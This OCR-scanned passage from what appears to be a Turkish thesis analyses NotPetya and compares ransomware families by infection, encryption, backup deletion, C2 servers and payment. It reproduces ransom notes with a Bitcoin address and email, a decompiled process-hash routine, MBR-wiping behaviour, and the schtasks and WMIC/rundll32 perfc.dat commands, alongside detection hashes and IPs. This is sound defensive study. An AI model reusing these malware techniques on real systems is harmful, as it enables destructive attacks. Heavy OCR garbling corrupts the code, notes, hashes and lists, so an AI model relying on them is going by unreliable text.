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EternalRomance ile de Windows XP, Windows 2003, Windows Vista, Windows 7,
Windows 8, Windows 2008, Windows 2008 R2 sistemleri ele gegirilebilmektedir.
Microsoft'un bu zaafiyetleri diizeltme tarihi 14 Mart 2017'dir. Yamali sistemler, fidye

yazilimin bu yayilma metodundan etkilenmemektedirler.

5.3.4. Sifreleme

Sifreleme aksiyonlar1 zararli yazilimin sistem tlizerindeki yetki seviyesine ve sistem iizerinde
bulunan ¢alisan islemlere gore farklilik gostermektedir. Calisan islemleri kullanma sekli ise
isimlerini basit bir algoritma ile hashleyerek kod igerisinde karsilastirmalar yapmasi ve
aksiyona bu sekilde karar vermesidir:

e (0x6403527E ya da 0x651B3005 bu hashler islem isimleri hashleri arasinda bulunuyorsa,

yazilim ag iizerinde herhangi bir aksiyon ger¢eklestirmeyecektir.

hSnapshot = CreateToolhelp32Snapshot{2u, @);
if hot *= (HAHMDLE)-1 )

s32FirstW{hSnapshot, Epe) )

FOSH1PEDG 3
a;
1 ucslen(pe.szExeFile);
dio
u2 = B;
ifF { vl )
vl = uil;
do
ul {char =)&kud + {(w 1z
uS = (muk ° LOBYTE(pe ceFile[u2+e])) 1;
L

wyly = |_|".;

while ( v2 € vl );

++ul:

while { u@
if { vwg == LUBNG )

&= OXFFFFFFFY;

if { v9 == OR6MBIS2TE || w9 == Ox65103005 )

vid &= BxFFFFFFFB;
y

1)
')
while { Process32HextW(hSnapshot, &pe) ):
¥
CloseHandle{hSnapshot);
y

t"r-l urn wif;

Sekil 5.5. Ozet algoritmasina sokularak isleme karar verilmesi
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e Bagska bir 6rnek olarak eger 0x2E214B44 hashi islem hashleri arasinda bulunuyorsa,
fidye yazilimi sabit diskin ilk 10 sektoriinii (MBR de dahil) silmektedir.

Eger zararl1 yazilim sistem iizerinde en yiiksek yetki ile ¢alisiyorsa ve yukarida bahsedilmis
kontrolleri de olumlu ise MBR kodunu sifrelenmis MBR ile degistirecektir. MBR
degisiminden sonra sisteme local saat + 10 dakikaya yeniden baslatacak bir gorev

zamanlandirma komutu gondermektedir.

MBR degistirilmisse, sistem yeni baslatilmasindan sonra kullanici sahte bir sistem mesaji ile
karsilagmaktadir. Windows native CHKDSK aracinin disk {izerinde tamir islemi yaptigini

belirten sahte ekran goriilmektedir.

Repairing file system on C:

The type of the file system is NTFS.

One of your disks contains errors and needs to be repaired. This process
may take several hours to complete. It is strongly recommended to let it
complete.

WARNING: DD NOT TURN OFF YOUR PCt* IF YOU ABORT THIS PROCESS, YOU COULD
DESTROY ALL OF YOUR DATA' PLEASE ENSURE THAT YOUR POWER CABLE IS PLUGGED
IN?

CHKDSK is repairing sector 32576 of 191968 (16%)

Sekil 5.6. Sahte bir sistem mesaj1 6rnegi

Sekil 5.6’da verilen ekrandan sonra ise kullanici Sekil 5.7°de verilen fidye ekrani ile

karsilagsmaktadir.
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Joops, your important r1les are encrypred.

see this text, then your files are no longer accessible, because they

BN BN |'I|'||1 . |'|'|'||.|||!--. you are busy ||I|I|'-.i|II_| for a way to recover your

but ||_||||I L te your time. Nobodu can recover your files without our
der |'l]|l|ill|| ervice.

We guarantee that you can re er all your files safely and e J. All you
need to do is submit the pau t and purchase the decryption key.

Please follow the instructions:

1. Send ":. J00 worth of Bitcoin to fol low i'l'll:]' add

1Hz7153HAuxXTuRZR1t78mGSdzaAtNbBUX
i your Bitcoin wallet ID and l'll"'l":'i'l'l'l-'ll installation |':I"|__I to e-mail
ith1Z23456@posteo.net. Your personal installation key:
Ue iNr-ngRtrs-NFx836-CyluwgF-unKnF3-dsWL?g-PLtnUn-qgEolda-ubECnf -NAEyYf T

If you already purchased your key, please enter it below.

Kew:

Sekil 5.7. Fidye ekram

Eger zararli yazilim sistem iizerinde en yiiksek yetki ile caligmiyorsa sistem iizerinde
C:\Windows hari¢ tiim klasorlerin igerisindeki Sekil 5.8’de listelenen uzantilara sahip

dosyalar sifreleyecektir.

micode 08, <.3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.csd
nicode 08, <.ctl.dbf.disk.djvu.doc.docx.dwg.enl.fdb.gz.h. hdd.kdbx.naid
mnicode 8, <1l.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.paf.ppt.pptx.pst.pv
micode 0, <i.py.pyc.rar.rtf.sin.sql.tar.vbhox.vbs.vch.vdi.vfd.vnc.vndd>
nicode B8, <k.umnsd.umx.vsdx.vsv.work.xls.xlsx.xvd.zip.>,0

align 10h

Sekil 5.8. Sifrelenen dosya uzantilari

Kod iizerinde ReadFile() / WriteFile() kiitliphanelerinden ziyade dosyalari haritalayan
kiitiiphaneler bulunmustur. Bir¢ok fidye yaziliminin aksine NotPetya sifreleme islemi,
dosyalara yeni bir dosya uzantis1 eklememekte, dosyanin kendisinin {lizerine sifrelenmis

halini yeniden yazmaktadir.

Makineler iizerinde bulunan her sabit disk i¢in bir AES anahtar1 olusturulmakta ve kod

icerisine gomiilii 2048 bitlik public anahtar ile sifrelenerek disa alinmaktadir.

Diisiik yetki ile calistig1 takdirde sifreleme islemi esnasinda MBR'1 degistiremiyor dahi olsa

sistem sabit diski iizerinde kritik sektorleri yok etmeye ¢aligsmaktadir.
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Tim islemler bittiginde fiziksel disk basina olusturulmus AES anahtarininda 'kurulum
anahtar1' olarak bahsedildigi bir README.TXT olusturulmaktadir (Sekil 5.9).

Ooops, your important files are encrypted.

1f you see this text, then your files are no longer accessible, because
they have been encrypted. Perhaps you are busy looking for a way to recover
your files, but don t waste your time. Nobody can recover your ¥'iles without
our decryption service.

we guarantee that you can recover all your files safely and easily.
A1l you need to do is submit the payment and purchase the decryption key.

Please follow the instructions:
e send $300 worth of Bitcoin to following address:
1Mz7153HMUXXTUR2R1t 78mGSdzaAt NbBWX

Fle send your Bitcoin wallet ID and personal installation key to e-mail wowsmithl23456@posteo. net.
your personal installation key:

AQIAAASMAAAADAAA /yMBTPSONWRPGRS J90huB50RQVNEK+NNOTICEZZWeITNK TY
fQndHkeHXIKLEUIHrwjsYTy336088viKar HRSE’S\JV‘f 2YNXLBEPMWEWr ipITpTewr?
bFrcd1kz9L6xr 10zR7 xLw/r Swwfr /52 6vZUFbbnDKSitThjcxB84UPow8cl1ds7+xs
+xzvhupP703bGnioFeBaBsr+yr202Ae51mp4d7 hCoObrpT1IdoL kwxd2EqmlQOnRQ
vidivmeTmBviZwe7LBpnyysddwjylouHvwxubM]jeddjcTUXATQ8piGD7NIMd63 jF
uMab56j+pKUCWVK 5661 5Xvuvw,/T1CVmL azkRMHw==

Sekil 5.9. Kurulum anahtari olarak bahsedilen bir README.TXT Ekran

Ayrica program sistem lizerindeki, System, Setup, Security, Application olay giinliiklerini

temizlemekte ve NTFS giinliik bilgilerini de silmektedir.

5.4. Tespit

Ag giivenliginden sorumlu kisiler asagidaki maddeler halinde verilen gostergelerden

yararlanarak zararli hareket tespitinde bulunabilirler.

1) Dosya ibareleri:

+ 34f917aaba5684fbe56d3c57d48ef2alaa7cfo6d

« 9717cfdc2d023812dbc84a941674eb23a2a8ef06

+ 38e2855el11e353cedf9a8adf2f2747f1c5c07fcf

» 56c03d8e43f50568741704aee482704a4f5005ad

2) Komut istemi ibareleri: Komut istemi loglarinin tutuldugu ortamlarda asagidaki komut
satirlar1 aranabilir:

» Zamanlanmis Yeniden Baglatma Gorevi:

NotPetya lokal zaman + 10 ila 60 dakika arasinda rastgele bir zaman kullanarak yeniden

baslatma zamanlamaktadir.

schtasks /Create /SC once /TN ™ /TR "sistem32yolu\shutdown.exe /r /" /ST

<zaman>

cmd.exe /c schtasks /RU "SYSTEM" /Create /SC once /TN "™ /TR
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"sistem32yolu\shutdown.exe /r /" /ST <zaman>

* Yayilma Hareketi:

"process call  create

\"C:\\Windows\\System32\\rundl132.exe

\\W'C:\\Windows\\perfc.dat\\\" #1"

3) Ag ibareleri;

* Workstationlar kendi subnetleri {izerinde (/24 kapsaminda) tcp/139 ve tcp/445 port
taramalarinda bulunuyorsa,

* Sunucular (spesifik olarak Etki Alani Denetleyicileri) bir¢ok subnet lizerinde (/24
kapsaminda) tcp/139 ve tcp/445 port taramalarinda bulunuyorsa,

4) Engellenmesi gereken siipheli IP adresleri:

185.165.29.78

e 84.200.16.242

e 111.90.139.247

e 05.141.115.108

e 169.239.181.127
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6. FIDYE YAZILIMLARININ KARSILASTIRILMASI

WannaCry fidye saldirisi, 1990 yilindan 2017 yilina kadar gergeklesen fidye saldirilart ile
amag olarak benzerlik gosterse de teknik olarak ¢ok farkli yaklagimlar icermektedir. 1990
yilindan giinlimiize kadar gerg¢eklesen onbinlerce fidye saldirisinin temelinde saldirganlarin
cogunlukla maddi ¢ikar elde etmek amaciyla kurbanlara ait degerli dosya ve igerikleri
sifrelemesi ile gerceklesmistir. Ayrica bazi 6zel amagh fidye saldirilarinda dosyalarin
coziilemez sekilde sifrelenerek, saldirtya ugrayan sahislarin degerli bilgi ve belgelerini
kaybetmeleri saglanmistir. WannaCry saldirisinda da saldirganlarin para motifiyle diinya
capinda bir saldin gerceklestirdikleri diisiiniilmektedir. Fidye saldirilarinin  geneli
incelendiginde herhangi bir yontemle hedef olan sahislarin zararli yazilimi iceren kod
pargacigini bilmeden calistirmasi veya izin vermesi yatmaktadir. WannaCry saldirisina kadar
da alinan giivenlik 6nlemleri bu yaklasimlar tizerine alinmigtir. Literatiir ¢alismasinda da
detayli olarak aktarildig1 gibi, saldirilar harici bir depolama aygit1 veya internet ortamindan
iletilen bir dosyaya ek olarak yonlendirilmis olup, hedefin zararli yazilimi igerir kodu
calistirmasi saglanmaktadir. Oltalama, sosyal miithendislik gibi birgok yontem bu saldirilarda
kullanilmigtir. Alinan giivenlik onlemleri de zararli yazilim i¢ermesi muhtemel igeriklerin
calistirlmasin1 engelleme, dosya sifrelemeyi engelleme, harici bir programin calismasi
durumunda dosya yazma/silme iznini vermeme gibi ¢esitli ana bagliklarda yer almaktadir.
Fakat WannaCry ile birlikte hedefin herhangi bir igerigi yiiklemesine, izin vermesine veya
indirmesine gerek kalmadan fidye saldirisi gergeklesebilmektedir. Bu da o doneme kadar
alinmig fidye saldirilarina karst Onlemleri neredeyse tamamen etkisiz hale getirmistir.
WannaCry saldiris1 fidye saldirilarinda yeni bir devrin baslangici olarak nitelendirilebilir.
WannaCry ile beraber fidye saldirilarina kars1 gelistirilen yaklagimlar tekrar sorgulanir olmus
ve yeni yaklasimlarin gelistirilmesine ihtiyag duyuldugu goriilmiistiir. Petya saldirisinin
yayilma yaklasimlari ise yeni yaklasimlarin gelistirildigi fidye saldirilarina karsin bir¢ok farkli
bakis agisinin olugmasimi saglamistir. Cizelge 6.1°de Hampton ve arkadaslari’nin [25]

gerceklestirdigi siniflandirma yaklasimi yer almaktadir.
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Cizelge 6.1. Ozelliklerine gore fidye yazilimlari [25]

Fidye Yazilim
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Cizelge 6.1’den goriilebilecegi gibi fidye saldirilar1 kendilerinden Onceki saldirilarin
etkisinde kalmistir. Sifreleme yaklasimlar1 2011 yilina kadar daha onceki saldirilarda
kullanilmis yaklasimlarla benzerlik gostermistir. Incelemede yayilma yaklasimi, iletisim
ortami, sifreleme anahtarinin tutuldugu sunucu, Komuta Kontrol sunucusu ile iletisim,
O0deme yoOntemi, yaklasimlar1 ve fidye saldirilarinda kullanilan kodlarin teknik 6zellikleri
incelenmistir. Tez ¢alismasinda ise diger siniflandirma yontemleri incelenerek daha detayl

bir calisma gerceklestirilmistir.

1990 yilindan giliniimiize kadar gergeklesmis olan fidye saldirilarinin siniflandirilmasi igin
bircok c¢alisma yapilmistir. Gergeklestirilen calismalarda fidye saldirilarinin ¢esitli
yaklagimlar1 ve basarim Ol¢iileri gbz Oniine alinarak degisen metodolojiler kullanilmstir.
Tezin bu boliimiinde etki birakmis 6nemli fidye saldirilar1 anahtar karakteristigi (key

characteristics) yaklasimiyla siniflandirilmistir [25]. Anahtar karakteristigi yaklagimai;
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- Bulagma yontemi

- Dosya formati

- Platform

- Dosya sifreleme metodu

- Oturum anahtarini sifreleme yaklasimi

- Sifreleme lokasyonu

- Yedeklerin silinip, silinmedigi

- Komuta & kontrol sunuculari ile iletisimi
- (Coziimleme servisinin lokasyonu

- Fidye 6demesini alma yaklagimi

- lletisim Kurulan Dil

- Pasif yaklagimlarla kendini koruma yontemleri

- Aktif yaklagimlarla kendini koruma yontemleri

basliklarinda simiflandirma yapilan bir yaklasimdir. Tez’in bu boliimiinde, literatiir
boliimiinde detayli olarak aktarilan, giiniimiize dek gerg¢eklesmis en onemli fidye saldirilart
icin Anahtar karakteristigi yaklasimi uygulanarak, benzerlikler ve farkliliklar ortaya

konulmustur.

WannaCry fidye zararlis1 kullandig1 zaafiyet (MS17_010) ve exploit (ETERNALBLUE)
acisindan biiylik yanki uyandirmis ve kendisinden sonraki fidye yazilimlarini saldirt
mekanizmasi agisindan etkilemistir. Petya/NonPetya saldiris1 da SMB agigini kullanarak ayni
exploit ile baslatilmigtir. Her iki fidye yazilimi1 da Microsoft isletim sistemlerini hedef almis
ve global capta etki yaratmistir. WannaCry saldirt mekanizmasinda var olan Komuta&Kontrol
baglantis1 2013 yillinda yapilan Cyrptowall saldirisi ile benzerlik gostermistir. Cyrptowall da
WannaCry gibi Komuta&Kontrol sunucusuna baglanmak icin TOR Onion yapisini

kullanmustir.

WannaCry saldirisinin ikinci varyanti olan Petya/NonPetya saldirisi, ayn1 zamanda Mart 2016
da yapilan Petya saldirisindaki MFT (Master File Table) sifrelemesi ile benzerlik tasimaktadir.

1990 yilindan 2017 yilina kadar gerceklestirilmis 6nemli fidye saldirilar: farkli yaklasimlar

ozelinde incelendiginde bir¢ok benzer o6zelliginin oldugu goriilmiistiir. Asagida ki alt
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basliklarda detaylar1 verilen fidye saldirilari Anahtar Karakteristigi Yaklagimina gore

inceleme yapilmistir [25].
6.1. Bulasma Yontemi

Fidye saldirilarinin etki alanim1 belirleyen en Onemli 6zelliklerden birisi bulagma
yaklagimidir. Gelistirilen zararli yazilimin sistemlere nasil bulagacagi en biiyiik problemdir.
Ozellikle gelisen antivirus programlari, sosyal miihendislik yontemlerine karsi alman
onlemler, kurban ile iletisim araci olarak kullanilan ortamlarda alinan onlemler ( e-posta,
web sitesi, dosya paylasim platformlar1) bulasmay1 ¢ok zor hale getirmistir. Bundan dolay1
fidye saldirilar1 incelendiginde her gecen yil yeni yaklagimlarin gelistirildigi goriilmiis ve
yeni arayislar ortaya ¢ikmistir. Asagida onemli etkiye sahip fidye saldirilarinin bulagma

yontemi olarak kullandiklar1 yaklagimlar yer almaktadir.

i. PC Cyborg: CD dagitimu ile yayilmustir.
ii.  VaultCrypt: zararli javascript eklentisi igeren spam mesaji ile kurbanlarina
yayilmuistir.
iii.  TeslaCrypt: bir web sitesi exploiti tizerinden bulasmustir.
iv. NanoLocker: Net olarak nasil bulastig1 bilinmemektedir.
v. Linux.Cryptor: Magento platform iizerinden bulasmstir.
vi. Simplelocker: Android isletim sistemi {izerinde gelistirilen fake uygulamalar ile
bulasmistir.
vii. OSX/KeRanger-A: ele gegirilen websiteleri lizerinden bulasmustir.
viii.  WannaCry: EternalBlue 0. Giin exploiti ile bulagsmstir.
ix. Petya: CVE-2017-0199 exploiti kullanilarak yayilmistir.
X. NotPetya: EternalBlue and EternalRomance exploitleri ile yayilmistir.
Xi.  Cerber: Oltalama saldiris1 ile bulagmustir.
Xii.  Spora: Oltalama saldiris1 ile bulagmistir.

xiii.  Serpent: Oltalama saldirisi ile bulagsmustir.
6.2. Etkili Oldugu Platform ve Dosya Yapisi

Fidye saldirilar1 amacina bagli olarak bazi platformlara 6zel gelistirilmistir. 1990 yilindan

itibaren yliksek sayida Windows isletim sistemi kullanildigr diisiiniildiigiinde fidye
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saldirlarinin  da  Windows isletim sisteminde c¢alisacak sekilde programlandigi
goriilmektedir. 2000 yilindan itibaren yayilan Linux kullanimi da beraberinde windows
isletim sistemi ile karsilastirildiginda ¢ok fazla olmasada 6nemli fidye saldirilar1 ortaya
cikarmistir. Giiniimiizde kullanilan cihazlarin yayginlasmasiyla beraber, android isletim
sistemlerinde, Mac Os X’de de fidye saldirilar1 gerceklestirilmektedir. Ayrica saldirida
kullanilan dosyanin uzantis1 da saldirinin tespitinde dnemli bir parametredir. Ozellikle yetki
yiikseltmek i¢in gerekli goriilen izinlerin exe formatinda dosya calistirilarak alinmaya
calisildigr bilinmektedir. Antiviriis firmalarinin dosya format 6zelinde ¢ok fazla calisma

gerceklestirmesi sebebiyle, farkli formatta fidye saldirilarinin gelistirildigi goriilmektedir.

Fakat WannaCry ile birlikte gelen 0. Giin agikliklarinin kullanilmasinin getirdigi avantajlar

bu sorunlari gecici olarak ortadan kaldirmistir.

i. PC Cyborg: Windows/BAT
ii.  VaultCrypt: Windows/BAT
iii.  TeslaCrypt: Windows/EXE
iv.  NanoLocker: Windows/EXE
v.  Linux.Cryptor: Linux/ELF
vi.  Simplelocker: Android/APK
vii.  OSX/KeRanger-A: MacOSX
viii.  WannaCry: Windows/EXE
iX. Petya:Windows/EXE
X.  NotPetya:Windows/EXE
xi.  Cerber: Windows/EXE
xii.  Spora: Windows/EXE
xiii.  Serpent: Windows/EXE

6.3. Dosya Sifreleme ve Oturum Anahtar Sifreleme Yaklasimlari

Fidye saldirilarinin temelini kurbanlarin 6nemli dosyalarinin sifrelenmesi ve sifrelenmis
dosyalarin saldir1 yapan sahislara para 6denmeden acilamamasi kavrami olusturdugu i¢in,
fidye saldirilarinda istenilen amacin elde edilebilmesi ig¢in en 6nemli unsurlardan bir digeri
de dosyalarin sifrelenmesi ve kurban ile iletisim kurulan oturum’un sifrelenmesinde

kullanilan anahtardir. Dosya sifrelemesinde kullanilan yaklasim ¢oziilebilirse veya sifreleme
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anahtarlar1 kurban tarafindan elde edilebilirse kolaylikla sifrelenen dosyalar agilabilir. Yine

oturum anahtar1 kurban veya siber gilivenlik uzmanlarinca elde edilirse saldirganlarin

yakalanma riskini arttirir, para transferini ve devaminda sifrelenen dosyanin ¢oziilmesini

engeller. Fidye saldirisin1 gercgeklestiren sahis i¢in 2 durumda en istenmeyecek

durumlardandir. Asagida sifreleme yaklasim adimlarina yer verilmistir.

Vi.

Vil.

viil.

Xi.

Xil.

Xiil.

PC Cyborg: dosya sifreleme yaklagimi hakkinda net bir bilgi yok. Oturum anahtari
sifrelenmiyor.

VaultCrypt: dosyalar GnuPG aracit kullanilarak olusturulan RSA-1024 ile
sifreleniyor. Oturum anahtari da yine ayni yaklasimla sifreleniyor.

TeslaCrypt: dosyalar OpenSSL kullanilarak olusturulan AES-256-CBC ile
sifrelenmektedir. Oturum anahtar1 ise ECDH yaklagim1 kullanilarak hesaplanmakta
ve Komuta & Kontrol sunucusuna gonderilip sifrelenen dosyanin baslik alaninda
saklanmistir.

NanoLocker: AES-256-CBC ile dosyalar sifrelenmistir. Bitcoin islemlerinin
bilgilerini igerir notlar base64 ile sifrelenerek gonderilmis, oturum anahtari ise RSA-
1024 kullanilarak sifrelenmistir.

Linux.Cryptor: PolarSSL kullanilarak olusturulan AES-128-CBC ile dosyalar
sifrelenmistir. RSA-1024 ile oturum anahtari sifrelenmistir.

Simplelocker: cryptolib kullanilarak olusturulan AES-128-CBC ile dosyalar
sifrelenmistir. Oturum anahtar1 AES ile sifrelenmis olup, anahtar her kurban icin
sabit tutulmus ve "jndlasf074hr" olarak belirlenmistir.

OSX/KeRanger-A: AES-256-CBC ile dosyalar sifrelenmistir. RSA-2048 ile AES
kullanilarak sifrelenmis rastgele sayilar tizerinden oturum anahtari sifrelenir.
WannaCry: AES-128-CBC ile dosyalar, RSA-2048 ile oturum anahtar sifrelenir.
Petya: Salsa20-256 kullanarak MFT ile sifrelenmistir.

NotPetya: AES-128-CBC kullanarak MFT ile sifrelenmistir.

Cerber: RC4-128 ile dosyalar, RSA-880 ve RSA-2048 ile oturum anahtar sifrelenir.
Spora: AES-256-CBC ile dosyalar, RSA-1024 ile oturum anahtar sifrelenir.
Serpent: AES-256-CBC ile dosyalar, RSA-2048 ile oturum anahtar sifrelenir.
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6.4. Sifreleme Lokasyonu

Fidye saldirilarinin basartya ulagsmasi i¢in olabildigi kadar 6nemli belgeyi sifrelemis olmasi

gerekmektedir. Fakat her dosyanin sifrelenmesi beraberinde hem sistemsel zorluklar

getirmekte hem de saldirganlarin tespiti noktasinda iz birakilmasina neden olabilmektedir.

Bundan dolay1 gergeklestirilen saldirilarda 6nemli belge, bilgilerin saklanabilecegi alanlar

tercih edilmeye calisilmistir. Asagida maddeler halinde sifrelenen dizinlere iligkin bilgiler

yer almaktadir. Genelde sifrelenmeyen dizinler belirtilip geri kalanin sifrelendigi

gosterilmistir.

Vi.
Vii.

viil.

Xi.

VaultCrypt: windows isletim sistemi dosyalari, framework64 dosyasi, Intel’in
kostugu dosyalar harig biitiin dosyalar.

TeslaCrypt: Windows, Program Files ve Application Data hari¢ biitiin dizinler ve
dosyalar sifrelenmistir. Sifreli dosyalar paylagim klasorii altina konmustur ve
diskteki yerinden silinmisgtir.

NanoLocker: Net bir bilgi bulunmamaktadir.

Linux.Cryptor: Asagida siralanan dizinlerin altindaki dosyalar sifrelenmistir. /nome,
Iroot, /var/lib/mysqgl, /varlwww, /etc/nginx, /etc/apache2, /var/log

Simplelocker: SD karttaki dosyalar sifrelenmistir.

OSX/KeRanger-A: Users ve Volumes alanlarinin altindaki her dosya sifrelenmistir.
WannaCry: “\\” dizini, “$\” dizini, Intel, ProgramData WINDOWS, Program Files,
Program Files (x86), AppData\Local\Temp, Local Settings\Temp, Temporary
Internet Files, Content.IE5 harig her alan sifrelenmistir.

Petya: MFT

NotPetya: MFT

Cerber: siralanan dizinler hari¢ her alan sifrelenmistir. $getcurrent, $recycle.bin,
$windows.~bt, $windows.~ws, boot, documents and settings\all users\, documents
and settings\default user, documents and settings\localservice, documents and
settings\networkservice, intel, msocache, perflogs program files (x86), program files,
programdata, recovery, recycled, recycler, system volume information, temp,
windows.old, windows10upgrade, windows, winnt, appdata\local, appdata\locallow,
appdata\roaming, local settings, public\music\sample music, public\pictures\sample

pictures, public\videos\sample videos, TOR browser
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xii.  Spora: appdata, games, program files, program files (x86), windows hari¢ her dizin
sifrelenmistir.
xiii.  Serpent: Program files (x86), program files, TOR browser, windows, programdata,

$recycle.bin hari¢ her dizin sifrelenmistir.

Fidye yazilimlar i¢in sifreleme lokasyonlari, kurbanlarin 6nemli belgelerinin sifrelenmesini
saglama beraberinde de isleyisi bozmadan iz birakma ihtimalini en diisiik seviyeye indirme

acisindan son derece 6nemli bir 6zelliktir.

6.5. Silinen Yedekler

Fidye saldirilarinin bazilari sadece sifrelemede kullandig1 6zel ve genel anahtarlar silmis ve
o bilgilerin tutuldugu hafiza alanini rastgele karakterlerle doldurmus, pointer bilgisini de
silmistir. Bazilar1 ise sifreledigi dosyalarin da goélge kopyalarini yada orjinallerini

silmislerdir. Asagida maddeler halinde farkli saldirilarin yaklagimlari belirtilmistir.

I.  PC Cyborg: silme islemi yapmamustir.
ii.  VaultCrypt: SDelete veya Cipher tools ile anahtarlarin olusturuldugu dosyay1
wipe’lama islemine tabi tutmustur. Tamamen silmistir.
iii.  TeslaCrypt: vssadmin.exe dosyasi ile dosyalarin golge kopyalarini (shadow copies)
silmistir.
Iv.  NanoLocker: bilinmemektedir.
v.  Linux.Cryptor: bilinmemektedir.

vi.  Simplelocker: bilinmemektedir.

vii.  OSX/KeRanger-A: geri yiikleme mekanizmasini Siler.
viii.  WannaCry: vssadmin.exe dosyasi ile dosyalarin golge kopyalarini (shadow copies)
silmektedir.

ix. Petya: bilinmemektedir.

X.  NotPetya: bilinmemektedir.

xi.  Cerber: bilinmemektedir.

xii.  Spora: vssadmin.exe dosyasi ile dosyalarin gélge kopyalarini (shadow copies) siler
xiii.  Serpent: WMIC ve Cipher araglar1 kullanilarak golge kopyalar silinmis ve orjinal

dosyalar1 geri yiiklemistir.
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6.6. Komuta&Kontrol (K&K) Sunucular:

Fidye saldirilarinda Komuta&Kontrol sunuculari kurban ile iletisimin saglandigi, para

transferi icin kurbana gonderilen ses veya yazi dosyasinin iletildigi, saldirganlarin izini

kaybettirmek i¢in kullandig1 sunuculardir. K&K sunucular1 bazi fidye saldirilarinda sadece

iletisim kurmak i¢in, bazilarinda ise iletisim kurmak, para transferini saglamak ve

sifrelemede kullanilan 6zel anahtarin saklanmasini saglamakta kullanilir. K&K sunuculari

saldirty1 gercgeklestiren saldirganlarin tespitini zorlastiran en biiyiik etken oldugu igin,

saldirganlar acgisindan hayati 6neme sahip olan sunuculardir. Her tiirli glivenlik 6nlemi

alinarak iletisim kurulmaktadir. Asagida maddeler halinde verilen 6nemli fidye saldirilarinin

K&K sunucusu agisindan incelemesi yer almaktadir.

Vi.

Vii.

viil.

Xi.

Xil.

PC Cyborg: K&K sunucusu bulunmamaktadir.

VaultCrypt: http://revault.me adresini K&K olarak kullanmustir.

TeslaCrypt: K&K sunucusunun adresi AES-256-CBC kullanilarak sifrelenmistir.
NanoLocker: K&K sunucusu olarak (52.91.55.122) IP adresli sunucu kullanilmistir.
1. Ping bu sunucuya atilip bitcoin transfer islemi i¢in bilgi iletilmektedir. 2. Ping de
bu sunucuya atilir. 2. Ping ise sifrelemenin basarili olarak gergeklestirildigi anlamina
gelmektedir.

Linux.Cryptor: bilinmemektedir.

Simplelocker: K&K sunucusu TOR tizerinde kurulmustur.
(http://xeyocsu7fu2vjhxs.onion/),

JSON formatinda kullanici verileri aktarilmaktadir. Sunucu iletisimi sadece bu TOR
iizerindeki sunucudan saglanmaktadir.

OSX/KeRanger-A: K&K sunucusunun gorevi TOR aginda ki farkli sunucular
kullanilarak gerceklestirilmektedir.

WannaCry: K&K sunucusunun gorevi TOR aginda ki farkli sunucular kullanilarak
gergeklestirilmektedir.

Petya: Tespit edilememistir.

NotPetya: Tespit edilememistir.

Cerber: IP’leri verilen sunucular (77.12.57.0/27, 19.48.17.0/27, 87.98.176.0/22) iz
kaybettirmek i¢in kullanilmistir. Once bu sunuculara baglanti kurulmus ardindan

6893 portu kullanilarak K&K sunucusuna baglanilmistir.


http://revault.me/
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Xiil.

Xiv.

Spora: K&K sunucusunun gorevi TOR aginda ki farkli sunucular kullanilarak
gerceklestirilmektedir.
Serpent: K&K sunucusunun gorevi TOR aginda ki farkli sunucular kullanilarak

gergeklestirilmektedir.

6.7. Sifre Cozme Servisi

Fidye saldirilarinda bir diger etmen de sifrelenen dosyanin eski haline getirilmesidir.

Saldirganlar para transferinin akabinde dosyay1 eski haline getirmemeleri durumunda diger

kurbanlardan para elde edemezler. Sifre ¢6zme adimi bu agidan 6nemlidir. Fakat asil nemli

etmen sifre ¢ozmede kullanacagi 6zel anahtar bilgisini ve algoritmay1 ortaya ¢ikaracak kodu

nerede tuttugu ve nasil kullandigidir. Kurbanlar veya siber giivenlik uzmanlar1 tarafindan

algoritmanin elde edilmesi veya anahtar bilgisinin elde edilmesi durumunda sifre kolaylikla

kirtlip dosya kurtarilabilmektedir. Asagida maddeler halinde verilen fidye saldirilarinin gifre

¢ozme yaklasimi agisindan incelemesi yer almaktadir.

Vi.

Vii.

viil.

Xi.
Xii.

Xiil.

PC Cyborg: sifre ¢cozme yaklasimi yer almamustir.

VaultCrypt: TOR aginda gergeklestirilmektedir.

TeslaCrypt: TOR aginda gergeklestirilmektedir.

NanoLocker: Bitcoin transfer ve bilgilendirme islemi sirasinda ger¢eklesmektedir.
Linux.Cryptor: TOR aginda gergeklestirilmektedir.

Simplelocker: cryptolocker yaziliminin igerisinde sifre ¢6zme yaklasimi yer
almaktadir.

OSX/KeRanger-A: TOR aginda gergeklestirilmektedir.

WannaCry: TOR aginda gergeklestirilmektedir.

Petya: TOR aginda gerceklestirilmektedir.

NotPetya: n/a

Cerber: TOR aginda gergeklestirilmektedir.

Spora: spora.bz ve TOR aginda gergeklestirilmektedir.

Serpent: TOR aginda gergeklestirilmektedir.
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6.8. Odeme

Fidye saldirilarinda asil amag¢ ¢ogunlukla maddi kazang elde etmektir. Saldirganlarin izinin

bulunmasi, hizli bir sekilde paranin transferi, kurbanlarin kolay para géonderebilmeleri gibi

nedenler para transferinde asil 6nemli olan etmenlerdir.

Vi.
Vii.
viii.
iX.
X.
Xi.
Xil.

Xiil.

PC Cyborg: 189 $. Banka hesabina gonderilmesi talep edilmistir.

VaultCrypt: sifrelenen dosya sayisina gore Bitcoin (BTC) iizerinden 6deme
alinmustir.

TeslaCrypt: $500 degerinde BTC istenmistir. Her 60 saat gectiginde istenen fiyat 2
katina ¢ikarilmistir.

NanoLocker: 0.25 BTC talep edilmistir.

Linux.Cryptor: 1 BTC talep edilmistir.

Simplelocker: MoneXy, Qiwi para transfer yaklasimlari kullanilmigtir.
OSX/KeRanger-A: 1 BTC talep edilmistir.

WannaCry: $300/600 degerinde BTC talep edilmistir.

Petya: $300/600 degerinde BTC talep edilmistir.

NotPetya: n/a

Cerber: 0.045/0.090 BTC talep edilmistir.

Spora: sifrelenen dosya sayisina gére degismistir.

Serpent: 0.025/0.075 BTC talep edilmistir.

6.9. Tletisim Kurulan Dil

Fidye saldirilarinin hangi iilkeye hitap ettikleri ve saldirganlar hakkinda bilgi edinilmesini

saglayacak onemli etmenler arasinda gosterilen, saldirganlarin fidye talep ettikleri ses veya

yazi dosyalarinda kullandiklar dildir. Global 6l¢ekli saldirilarda ingilizce ortak dil olarak

kullanilmakta olup, belirli bolge veya iilkelere yonelik gerceklesen saldirilar ilgili iilkenin

diline gore hazirlanmigtir. Asagida kullanilan dil aileleri ile kullanilan saldirt tipleri

verilmistir.

PC Cyborg: herhangi bir not birakilmamistir
VaultCrypt: Rusca
TeslaCrypt: Ingilizce
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vi.
Vil.
Viil.
IX.
X.
Xi.
Xil.

Xiil.

NanoLocker: Ingilizce
